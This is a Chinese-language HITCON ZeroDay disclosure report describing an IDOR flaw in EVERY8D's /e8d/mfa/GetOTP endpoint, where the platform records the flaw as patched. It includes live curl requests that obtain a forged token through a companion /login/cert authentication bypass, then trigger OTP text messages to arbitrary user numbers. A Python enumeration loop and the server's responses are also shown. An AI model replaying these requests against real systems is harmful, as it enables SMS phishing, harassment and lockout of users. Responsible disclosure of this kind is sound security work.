互動資通 EVERY8D ext-api.e8d.tw /e8d/mfa/GetOTP 缺少所有權驗證 — 任意觸發目標用戶 OTP 簡訊(IDOR) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00642
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 EVERY8D ext-api.e8d.tw /e8d/mfa/GetOTP 缺少所有權驗證 — 任意觸發目標用戶 OTP 簡訊(IDOR)
  • Introduction: /e8d/mfa/GetOTP 缺少所有權驗證,持偽造 Token 的攻擊者可對任意 UserNo 觸發官方 OTP 簡訊發送。

處理狀態

目前狀態

公開
Last Update : 2026/08/13
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/07 02:33:28 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/07 02:34:24 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/14 13:04:07 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:57:36 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:57:36 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:57:36 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 11:23:52 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:13:41 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 21:06:52 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/12 10:32:23 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/08/13 03:00:13 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00642
  • 通報者:guan4tou2 (罐頭)
  • 風險:中
  • 類型:邏輯漏洞 (Logic Flaws)

參考資料

攻擊者可經由該漏洞繞過網站邏輯行為進行惡意攻擊。

漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic

漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://ext-api.e8d.tw/e8d/mfa/GetOTP
https://ext-api.e8d.tw/login/cert

敘述

漏洞概述

本漏洞需搭配 /login/cert 認證繞過(ZD-2026-00637)取得 Token。

ext-api.e8d.tw/e8d/mfa/GetOTP 端點未驗證請求者是否為目標 UserNo 的帳號持有人。攻擊者利用 /login/cert 認證繞過取得偽造 Token 後,可對任意 UserNo 觸發 OTP 簡訊發送,簡訊透過官方 EVERY8D 渠道送達目標用戶手機。

攻擊鏈(Live Verified: 2026-05-07)

Step 1 — 取得偽造 Token(/login/cert 認證繞過):

curl -s -X POST "https://ext-api.e8d.tw/login/cert" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"account":"crmonly1","ipaddress":"1.1.1.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","version":"production"}'

回應:

{"status":"200","token":"ZbR13180785607552778","enterprise":"1","message":"成功"}

Step 2 — GetOTP IDOR — 觸發任意用戶 OTP 發送:

# 對 UserNo=1 觸發 OTP 簡訊
curl -s -X POST "https://ext-api.e8d.tw/e8d/mfa/GetOTP" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"account":"crmonly1","UserNo":"1","ipaddress":"1.1.1.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","token":"ZbR13180785607552778","enterprise":"1","version":"production"}'

回應:

{"status":"200","message":"成功"}

驗證多個 UserNo:

import urllib.request, json, urllib.parse, time

token = "ZbR13180785607552778"
for user_no in [1, 2, 10]:
    body = json.dumps({
        "account": "crmonly1",
        "UserNo": str(user_no),
        "ipaddress": "1.1.1.1",
        "useragent": "Mozilla/5.0",
        "custid": "E8D30NGW_2WAY",
        "token": token,
        "enterprise": "1",
        "version": "production"
    })
    data = f"body={urllib.parse.quote(body)}".encode()
    req = urllib.request.Request(
        "https://ext-api.e8d.tw/e8d/mfa/GetOTP",
        data=data,
        headers={"Content-Type": "application/x-www-form-urlencoded"}
    )
    with urllib.request.urlopen(req, timeout=10) as r:
        print(f"UserNo={user_no}: {r.read().decode()}")
    time.sleep(2)

實際回應:

UserNo=1:  {"status":"200","message":"成功"}   ← OTP 發送至 UserNo=1 手機
UserNo=2:  {"status":"200","message":"成功"}   ← OTP 發送至 UserNo=2 手機
UserNo=10: {"status":"200","message":"成功"}   ← OTP 發送至 UserNo=10 手機

對比無效 UserNo:

UserNo=99999: {"status":"304","message":"會員已被鎖住"}  ← 不存在

影響說明

  1. SMS 釣魚/社工:以官方 EVERY8D 號碼對任意用戶發送 OTP 簡訊,提高釣魚可信度
  2. SMS 騷擾:在 Rate Limit 範圍內反覆發送 OTP 簡訊至目標手機
  3. OTP 服務 DoS:連續觸發後服務帳號被鎖定,導致所有用戶無法正常接收 OTP

嚴重程度

  • 影響範圍:所有在 EVERY8D 系統中有手機門號的用戶

相關通報

本報告需搭配 ZD-2026-00637(ext-api.e8d.tw /login/cert 認證繞過)使用。

修補建議

1. /e8d/mfa/GetOTP 應驗證 UserNo 必須對應到請求 Token 的帳號本身
2. Rate Limiting 應依 IP + 目標 UserNo 雙重限制,而非僅限制服務帳號
3. 根本修補:修復 /login/cert 認證繞過漏洞

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;